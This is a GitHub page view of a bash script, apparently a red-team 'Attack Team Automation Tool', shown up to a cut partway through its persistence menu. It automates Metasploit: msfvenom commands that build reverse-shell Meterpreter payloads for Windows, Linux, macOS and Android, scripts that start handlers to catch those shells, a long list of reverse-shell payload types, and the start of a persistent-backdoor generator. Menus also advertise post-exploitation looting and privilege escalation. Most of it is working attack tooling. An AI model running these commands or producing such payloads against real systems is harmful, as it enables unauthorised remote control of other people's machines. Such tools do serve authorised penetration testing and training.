-
Notifications
You must be signed in to change notification settings - Fork 5
/
ATAT.sh
executable file
·2898 lines (2770 loc) · 167 KB
/
ATAT.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# ..................
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to start your ATAT"; exit 1; }
resize -s 150 150
clear # Clear the screen.
SERVICE=Postgresql;
secs=$(date '+%S');
if service postgresql status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service postgresql start
fi
SERVICE1=Metasploit;
if ps ax | grep -v grep | grep metasploit > /dev/null
then
echo "$SERVICE1 service running"
else
echo "$SERVICE1 is not running, Starting service."
service metasploit start
fi
mkdir ~/Desktop/temp
clear
clear
echo -e "\E[1;34m==========================================================="
echo -e "\E[1;34m============== \e[97mMetasploit services started \E[1;34m================"
echo -e "\E[1;34m:::::::::::::\e[97mScripts saved to ~/Desktop/temp/\E[1;34m::::::::::::::"
echo -e "\E[1;34m:::::::::::\e[97mPayloads & Results saved to ~/ATAT/\E[1;34m:::::::::::::"
echo -e "\E[1;34m==========================================================="
read -p "Press [Enter] key to Continue..."
clear
echo -e "\E[1;34m======================= \e[97mAttack Team Automation Tool \E[1;34m======================"
if [ 0 -le $secs ] && [ $secs -le 14 ];
then
cat << "EOF"
_________________________________
|:::::::::::::;;::::::::::::::::::|
|:::::::::::'~||~~~``:::::::::::::|
|::::::::' .': o`:::::::::::| By |||3N1GmA|||
|:::::::' oo | |o o ::::::::::|
|::::::: 8 .'.' 8 o :::::::::|
|::::::: 8 | | 8 :::::::::|
|::::::: _._| |_,...8 :::::::::|
|::::::'~--. .--. `. `::::::::|
|:::::' =8 ~ \ o ::::::::| "I Find Your Lack of Faith Disturbing"
|::::' 8._ 88. \ o::::::::|
|:::' __. ,.ooo~~. \ o`::::::|
|::: . -. 88`78o/: \ `:::::|
|::' /. o o \ :: \88`::::|
|:; o|| 8 8 |d. `8 `:::|
|:. - ^ ^ -' `-`::|
|::. .:::|
|:::::..... ::' ``::|
|::::::::-' - 88 `|
|:::::-'. - :: |
|:-~. . . : |
| .. . ..: o:8 88o |
|. . ::: 8:P d888. . . |
|. . :88 88 888' . . |
| o8 d88P . 88 ' d88P .. |
| 88P 888 d8P ' 888 |
| 8 d88P.'d:8 .- dP~ o8 |
| 888 888 d~ o888 |
|_________________________________|
EOF
elif [ 15 -le $secs ] && [ $secs -le 30 ];
then
cat << "EOF"
.?MMMMMMM8$@m-(".-.
(MMMMMMMMMMMMMMe(%e9ODA#%eRwC1%%?!-";
MMMMMMMMMMMMMMMM*%JOMMMMMMMMMMM8M0DC?*%4?".
.9MMMMMMMMMMMMMMMwe2#MMMMMMRC41%J#M&DC1D8&wM@*M&
'MMMMMMMMMMMMM0@R9eemMMM#0##M9m**i(%???*i(|1#MRD2
MMMMMMMMMMM@$449w2C!J%?C%"";"eCw$"|m==||;-`M.
.MMMMMMMMMDO*i(((||(ii?*1?*%i"=(?mR 1%?(("%!
mM@MM92e!';"i"?ii(ei;""""";";-(??.
%MA!!?;"%"="i""mi'-1"""|""=;"""`&(
.(4?"(=';;"""*9w|.-||(i%%|;`';;.;'
*eJ;`%("((|i99C|.=|C=!1e;"w...... By ||3N1GmA||
0m*"1|;"!*(&9me'.-1 M .`..R
29*"M -&C(.."; "i .'i%
#C!%m MRD"...J M.;(|.
@81!9 i&&2;...J= 1;!eiM
'99*C8 9!"=''`.(% $A&2"92
'w=-(? M%=`.`.e( AMM*%!.
CM("A 'OJ%.'.!e #MMO1w%
CMA"M. .MMM%-;'*. (MMMR0M
%MMO!wD4 -MMM@%"|"M. 1MMMM8&DJ
8O1DMMM0w"(!%(*1%"M* .MM%?AOMMM.
'R#MMMMMM!24mO91!("=J. *MMwMMMMMMM
=C@M0MM@Ae2MMMMMMMA1%"%J4| %MMMMMMM0@&M?"
(*M@MMR&&&2C#@#R&&&OC("'.&1='***MMMM#A8&AA1(=(
******%(MMMMM@M#OwmJw4A&&i.="2MMM8OwRwCCC1JmD&&$MD Imperial AT-AT
EOF
elif [ 31 -le $secs ] && [ $secs -le 45 ];
then
cat << "EOF"
________
_,.-Y | | Y-._
.-~" || | | | "-.
I" ""=="|" !""! "|"[]""| _____
L__ [] |..------|: _[----I" .-{"-.
I___| ..| l______|l_ [__L]_[I_/r(=}=-P
[L______L_[________]______j~ '-=c_]/=-^
\_I_j.--.\==I|I==_/.--L_]
[_((==)[`-----"](==)j
I--I"~~"""~~"I--I
|[]| |[]| By |||3N1GmA|||
l__j l__j
|!!| |!!|
|..| |..|
([]) ([])
]--[ ]--[
[_L] [_L]
/|..|\ /|..|\
`=}--{=' `=}--{='
.-^--r-^-. .-^--r-^-. Imperial AT-AT
EOF
elif [ 46 -le $secs ] && [ $secs -le 57 ];
then
cat << "EOF"
._,.
"..-..pf.
-L ..#'
.+_L ."]#
,'j' .+.j` -'.__..,.,p.
_~ #..<..0. .J-.``..._f.
.7..#_.. _f. .....-..,`4'
;` ,#j. T' .. ..J....,'.j`
.` .."^.,-0.,,,,yMMMMM,. ,-.J...+`.j@
.'.`...' .yMMMMM0M@^=`""g.. .'..J..".'.jH
j' .'1` q'^)@@#"^".`"='BNg_...,]_)'...0-
.T ...I. j" .'..+,_.'3#MMM0MggCBf....F.
j/.+'.{..+ `^~'-^~~""""'"""?'"``'1`
.... .y.} `.._-:`_...jf
g-. .Lg' ..,..'-....,'.
.'. .Y^ .....',].._f By ||3N1GmA||
......-f. .-,,.,.-:--&`
.`...'..`_J`
.~......'#'
'..,,.,_]`
.L..`..``.
EOF
else
cat << "EOF"
. . . + . . . .
. . . .
. ,,o . __.o+.
. od8^ . oo888888P^b .
. ,".o' . . `b^'""`b -`b .
,'.'o' . . t. = -`b -`t. .
; d o' . ___ _.--.. 8 - `b =`b
. dooo8< .o:':__;o. ,;;o88%%8bb - = `b =`b. .
. |^88^88=. .,x88/::/ | \\`;;;;;;d%%%%%88%88888/%x88888
:-88=88%%L8`%`|::|_>-<_||%;;%;8%%=;:::=%8;;\%%%%\8888
. |=88 88%%|HHHH|::| >-< |||;%;;8%%=;:::=%8;;;%%%%+|]88 .
| 88-88%%LL.%.%b::Y_|_Y/%|;;;;`%8%%oo88%:o%.;;;;+|]88 .
Yx88o88^^'"`^^%8boooood..-\H_Hd%P%%88%P^%%^'\;;;/%%88
. `"\^\ ~"""""' d%P """^" ; = `+' - P
. `.`.b . :<%%> . : - d' - P . .
.`.b . . `788 ,'- = d' =.'
. ``.b. :..- :' P
. `q.>b . `^^^:::::,' .
""^^ . .
. By 3N|GmA . . .
. . . . + .
EOF
fi
tput sgr0 #
echo -e "\e[31m_________________________[ \e[97mChoose Your Destiny \e[31m]________________________"
echo -e "\E[1;34m::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e "\E[1;34m===\e[97m[1] \e[36mPayload \e[97m [Create MSFVenom Payload] \E[1;34m"
tput sgr0 # Reset colors to "normal."
echo -e "\E[1;34m:::\e[97m[2] \e[32mListen \e[97m [Start a Listener] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[3] \e[34mMsfconsole \e[97m [Drop into msfconsole]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[4] \e[95mPersistence \e[97m [Create a Persistence Method] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[5] \e[31mArmitage \e[97m [Launch the Armitage GUI] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[6] \e[36mMulti-Target Exploit \e[97m [Breach Defenses With Thermal Detonators] \E[1;34m"
tput sgr0 # Reset attributes.
echo -e "\E[1;34m===\e[97m[7] \e[32mAuxiliary & Scanning \e[97m [Run Aux Mods & Scans On Many Targets/Ports] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[8] \e[34mDependency Checker \e[97m[Check For Dependencies] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[9] \e[95mEmpire & DeathStar \e[97m [Pledge Your Allegiance to The Empire] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[10]\e[31mWireless Attacks \e[97m[Rule The Airwaves] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[11]\e[36mPost Exploitation \e[97m[Loot & Profit] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[12]\e[32mMake Your Escape \e[97m [Float Away...With The Rest Of The Garbage] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[13]\e[34mPrivilege Escalation \e[97m[PrivEsc Options & Techniques] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[14]\e[95mImperial Research Lab \e[97m[Proof Of Concept Techniques] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[15]\e[31mEmpire & Starkiller \e[97m [Pledge Your Allegiance to The BC Empire] \E[1;34m"
tput sgr0
echo -e "\E[1;34m:::\e[97m[00]\e[36mReset & Recharge \e[97m[Wipe All Scan Output To Lock A New Target] \E[1;34m"
tput sgr0
echo -e "\E[1;34m===\e[97m[0] \e[32mExit \e[97m[Exit ATAT] \E[1;34m"
tput sgr0
echo -e "\E[1;34m::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e "\e[97m~~~~~~~~~~~~~~~~~~ \e[31mProps to rand0m1ze for the concept!\e[97m~~~~~~~~~~~~~~~~~~\e[31m"
tput sgr0
read options
case "$options" in
# Note variable is quoted.
"1" | "1" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mChoose Your Weapon \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 13=Main Menu | 14=QUIT: '
options=("Windows 64 TCP" "Windows 32 TCP" "Windows 64 HTTPS" "Windows 32 HTTPS" "Linux 64 TCP" "Linux 32 TCP" "Mac 64 TCP" "Mac 32 TCP" "Android" "List_All" "Custom" "All The Payloads" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Windows 64 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f exe > ~/ATAT/shell64tcp.exe
echo -e "\E[1;34m::::: \e[97mshell64tcp.exe saved to ~/ATAT/\E[1;34m:::::"
;;
"Windows 32 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f exe > ~/ATAT/shelltcp.exe
echo -e "\E[1;34m::::: \e[97mshelltcp.exe saved to ~/ATAT/\E[1;34m:::::"
;;
"Windows 64 HTTPS")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$uservar LPORT=$userport -f exe > ~/ATAT/shell64https.exe
echo -e "\E[1;34m::::: \e[97mshell64https.exe saved to ~/ATAT/\E[1;34m:::::"
;;
"Windows 32 HTTPS")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p windows/meterpreter/reverse_https LHOST=$uservar LPORT=$userport -f exe > ~/ATAT/shellhttps.exe
echo -e "\E[1;34m::::: \e[97mshellhttps.exe saved to ~/ATAT/\E[1;34m:::::"
;;
"Linux 64 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f elf > ~/ATAT/shell64.elf
echo -e "\E[1;34m::::: \e[97mshell64.elf saved to ~/ATAT/\E[1;34m:::::"
;;
"Linux 32 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport -f elf > ~/ATAT/shell.elf
echo -e "\E[1;34m::::: \e[97mshell.elf saved to ~/ATAT/\E[1;34m:::::"
;;
"Mac 64 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p osx/x64/shell_reverse_tcp LHOST=$uservar LPORT=$userport -f macho > ~/ATAT/shell64.macho
echo -e "\E[1;34m::::: \e[97mshell64.macho saved to ~/ATAT/\E[1;34m:::::"
;;
"Mac 32 TCP")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$uservar LPORT=$userport -f macho > ~/ATAT/shell.macho
echo -e "\E[1;34m::::: \e[97mshell.macho saved to ~/ATAT/\E[1;34m:::::"
;;
"Android")
read -p 'Set LHOST IP: ' uservar; read -p 'Set LPORT: ' userport
msfvenom -p android/meterpreter/reverse_tcp LHOST=$uservar LPORT=$userport R > ~/ATAT/shell.apk
echo -e "\E[1;34m::::: \e[97mshell.apk saved to ~/ATAT/\E[1;34m:::::"
;;
"Custom")
cat << "EOF"
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Rather than putting <DOMAIN/IP>, you can input an interface and ATAT will detect that IP address.
EOF
read -p 'Set DOMAIN/IP: ' userhost; read -p 'Set LPORT: ' userport; read -p 'Set TYPE: ' usertype; read -p 'Select CMD/MSF: ' usershell; read -p 'Set BIND/REVERSE: ' userbindrev; read -p 'Set STAGED/STAGELESS: ' userstage; read -p 'Select TCP/HTTP/HTTPS/FIND_PORT: ' userprotocol; read -p 'Select BATCH/LOOP (optional; loop=1 payload of each type | batch=every possible combination): ' usermode
/usr/bin/msfpc $usertype $userhost $userport $usershell $userbindrev $userstage $userprotocol $usermode verbose
echo -e "\E[1;34m::::: \e[97mPayload & RC File Saved to ~/ATAT/\E[1;34m:::::"
;;
"All The Payloads")
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport
/usr/bin/msfpc verbose loop $userhost $userport
echo -e "\E[1;34m::::: \e[97mPayloads & RC Files Saved to ~/ATAT/\E[1;34m:::::"
;;
"List_All")
rm msfvenom_payloads.txt
msfvenom -l | tee msfvenom_payloads.txt
echo -e "\E[1;34m::::: \e[97mmsfvenom_payloads.txt Saved to ~/ATAT/\E[1;34m:::::"
;;
"Main Menu")
~/ATAT/ATAT.sh
;;
"Quit")
echo "auf Wiedersehen" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"2" | "2" )
cat << "EOF"
Common Payload Types:
android/meterpreter/reverse_http Android Meterpreter, Android Reverse HTTP Stager
android/meterpreter/reverse_https Android Meterpreter, Android Reverse HTTPS Stager
android/meterpreter/reverse_tcp Android Meterpreter, Android Reverse TCP Stager
android/meterpreter_reverse_http Android Meterpreter Shell, Reverse HTTP Inline
android/meterpreter_reverse_https Android Meterpreter Shell, Reverse HTTPS Inline
android/meterpreter_reverse_tcp Android Meterpreter Shell, Reverse TCP Inline
android/shell/reverse_http Command Shell, Android Reverse HTTP Stager
android/shell/reverse_https Command Shell, Android Reverse HTTPS Stager
android/shell/reverse_tcp Command Shell, Android Reverse TCP Stager
java/jsp_shell_reverse_tcp Java JSP Command Shell, Reverse TCP Inline
java/meterpreter/reverse_http Java Meterpreter, Java Reverse HTTP Stager
java/meterpreter/reverse_https Java Meterpreter, Java Reverse HTTPS Stager
java/meterpreter/reverse_tcp Java Meterpreter, Java Reverse TCP Stager
java/shell/reverse_tcp Command Shell, Java Reverse TCP Stager
java/shell_reverse_tcp Java Command Shell, Reverse TCP Inline
linux/x64/meterpreter/reverse_tcp Linux Mettle x64, Reverse TCP Stager
linux/x64/meterpreter_reverse_http Linux Meterpreter, Reverse HTTP Inline
linux/x64/meterpreter_reverse_https Linux Meterpreter, Reverse HTTPS Inline
linux/x64/meterpreter_reverse_tcp Linux Meterpreter, Reverse TCP Inline
linux/x86/meterpreter/reverse_tcp Linux Mettle x86, Reverse TCP Stager
linux/x86/meterpreter_reverse_http Linux Meterpreter, Reverse HTTP Inline
linux/x86/meterpreter_reverse_https Linux Meterpreter, Reverse HTTPS Inline
linux/x86/meterpreter_reverse_tcp Linux Meterpreter, Reverse TCP Inline
linux/x86/shell/reverse_tcp Linux Command Shell, Reverse TCP Stager
linux/x86/shell_reverse_tcp Linux Command Shell, Reverse TCP Inline
multi/meterpreter/reverse_http Arch-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
multi/meterpreter/reverse_https Arch-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)
osx/x64/meterpreter/reverse_tcp OSX Meterpreter, Reverse TCP Stager
osx/x64/meterpreter_reverse_http OSX Meterpreter, Reverse HTTP Inline
osx/x64/meterpreter_reverse_https OSX Meterpreter, Reverse HTTPS Inline
osx/x64/meterpreter_reverse_tcp OSX Meterpreter, Reverse TCP Inline
osx/x64/shell_reverse_tcp OS X x64 Shell Reverse TCP
osx/x86/bundleinject/reverse_tcp Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
osx/x86/shell_reverse_tcp OS X Command Shell, Reverse TCP Inline
php/meterpreter/reverse_tcp PHP Meterpreter, PHP Reverse TCP Stager
php/meterpreter_reverse_tcp PHP Meterpreter, Reverse TCP Inline
python/meterpreter/reverse_http Python Meterpreter, Python Reverse HTTP Stager
python/meterpreter/reverse_https Python Meterpreter, Python Reverse HTTPS Stager
python/meterpreter/reverse_tcp Python Meterpreter, Python Reverse TCP Stager
python/meterpreter/reverse_tcp_ssl Python Meterpreter, Python Reverse TCP SSL Stager
python/meterpreter_reverse_http Python Meterpreter Shell, Reverse HTTP Inline
python/meterpreter_reverse_https Python Meterpreter Shell, Reverse HTTPS Inline
python/meterpreter_reverse_tcp Python Meterpreter Shell, Reverse TCP Inline
python/shell_reverse_tcp Command Shell, Reverse TCP (via python)
python/shell_reverse_tcp_ssl Command Shell, Reverse TCP SSL (via python)
python/shell_reverse_udp Command Shell, Reverse UDP (via python)
cmd/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP
cmd/windows/reverse_lua Windows Command Shell, Reverse TCP (via Lua)
cmd/windows/reverse_perl Windows Command, Double Reverse TCP Connection (via Perl)
cmd/windows/reverse_powershell Windows Command Shell, Reverse TCP (via Powershell)
cmd/windows/reverse_ruby Windows Command Shell, Reverse TCP (via Ruby)
windows/dllinject/reverse_tcp Reflective DLL Injection, Reverse TCP Stager
windows/meterpreter/reverse_http Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
windows/meterpreter/reverse_https Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
windows/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection), Reverse TCP Stager
windows/meterpreter_reverse_http Windows Meterpreter Shell, Reverse HTTP Inline
windows/meterpreter_reverse_https Windows Meterpreter Shell, Reverse HTTPS Inline
windows/meterpreter_reverse_tcp Windows Meterpreter Shell, Reverse TCP Inline
windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP Inline
windows/x64/meterpreter/reverse_https Windows Meterpreter (Reflective Injection x64), Reverse HTTP Stager (wininet)
windows/x64/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
windows/x64/meterpreter/reverse_winhttp Windows Meterpreter (Reflective Injection x64), Reverse HTTP Stager (winhttp)
windows/x64/meterpreter/reverse_winhttps Windows Meterpreter (Reflective Injection x64) Reverse HTTPS Stager (winhttp)
windows/x64/meterpreter_reverse_http Windows Meterpreter Shell, Reverse HTTP Inline (x64)
windows/x64/meterpreter_reverse_https Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
windows/x64/meterpreter_reverse_tcp Windows Meterpreter Shell, Reverse TCP Inline x64
windows/x64/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP
windows/x64/shell/reverse_tcp Windows x64 Command Shell, Windows x64 Reverse TCP Stager
windows/x64/shell_reverse_tcp Windows x64 Command Shell, Reverse TCP Inline
EOF
echo -e "\E[1;34m::::: \e[97mCreate a Listener \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mCommon Payload Types Listed Above For Reference \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mChoose XTerm If You Are Not Sure Which Terminal You Have \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mDO NOT Use Ctrl-C to Close ATAT After Starting A Listener!!! \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 6=Main Menu | 7=QUIT: '
options=("XTerm" "Mate-Terminal" "Gnome-Terminal" "Xfce4" "LXTerminal" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"XTerm")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter.rc
# echo set AutoRunScript post/multi/gather/multi_command RESOURCE=/root/ATAT/postex.rc >> ~/Desktop/temp/meterpreter.rc
# echo set AutoRunScript /root/ATAT/ATAT_multi_post.rc >> ~/Desktop/temp/meterpreter.rc
echo exploit -j >> ~/Desktop/temp/meterpreter.rc
cat ~/Desktop/temp/meterpreter.rc
xterm -e msfconsole -q -r ~/Desktop/temp/meterpreter.rc &
;;
"Mate-Terminal")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter1.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter1.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter1.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter1.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter1.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter1.rc
echo exploit -j >> ~/Desktop/temp/meterpreter1.rc
cat ~/Desktop/temp/meterpreter1.rc
mate-terminal -e "bash -c \"msfconsole -q -r ~/Desktop/temp/meterpreter1.rc\"" &
;;
"Gnome-Terminal")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter2.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter2.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter2.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter2.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter2.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter2.rc
echo exploit -j >> ~/Desktop/temp/meterpreter2.rc
cat ~/Desktop/temp/meterpreter2.rc
gnome-terminal -e "bash -c \"msfconsole -q -r ~/Desktop/temp/meterpreter2.rc\"" &
;;
"Xfce4")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter3.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter3.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter3.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter3.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter3.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter3.rc
echo exploit -j >> ~/Desktop/temp/meterpreter3.rc
cat ~/Desktop/temp/meterpreter3.rc
xfce4-terminal -e "bash -c \"msfconsole -q -r ~/Desktop/temp/meterpreter3.rc\"" &
;;
"LXTerminal")
read -p 'Set LPORT: ' userport; read -p 'Set PAYLOAD: ' userpayload
touch ~/Desktop/temp/meterpreter4.rc
echo use exploit/multi/handler > ~/Desktop/temp/meterpreter4.rc
echo set PAYLOAD $userpayload >> ~/Desktop/temp/meterpreter4.rc
echo set LHOST 0.0.0.0 >> ~/Desktop/temp/meterpreter4.rc
echo set LPORT $userport >> ~/Desktop/temp/meterpreter4.rc
echo set ExitOnSession false >> ~/Desktop/temp/meterpreter4.rc
echo exploit -j >> ~/Desktop/temp/meterpreter4.rc
cat ~/Desktop/temp/meterpreter4.rc
lxterminal -e "bash -c \"msfconsole -q -r ~/Desktop/temp/meterpreter4.rc\"" &
;;
"Main Menu")
~/ATAT/ATAT.sh
;;
"Quit")
echo "auf Wiedersehen" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"3" | "3" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mStarting Metasploit \E[1;34m:::::"
msfconsole
;;
"4" | "4" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mPersistence Generator \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mBind Shells are a Work in Progress \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mThanks to Skysploit for the DBD Builder!! \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 9=Main Menu | 10=QUIT: '
options=("Windows DBD Reverse Shell" "Windows DBD Bind Shell" "Linux/NetBSD/FreeBSD/OpenBSD DBD Reverse Shell" "Linux/NetBSD/FreeBSD/OpenBSD DBD Bind Shell" "DBD Reboot Persistence Generator - Windows" "Configure C2 Server For Persistent SSH Session" "Persistent SSH Session Generator" "Android" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Windows DBD Reverse Shell")
clear
read -p "Where shall I send your persistent shell? (LHOST)" attackerip
echo ""
read -p "What port will you be listening on? (LPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
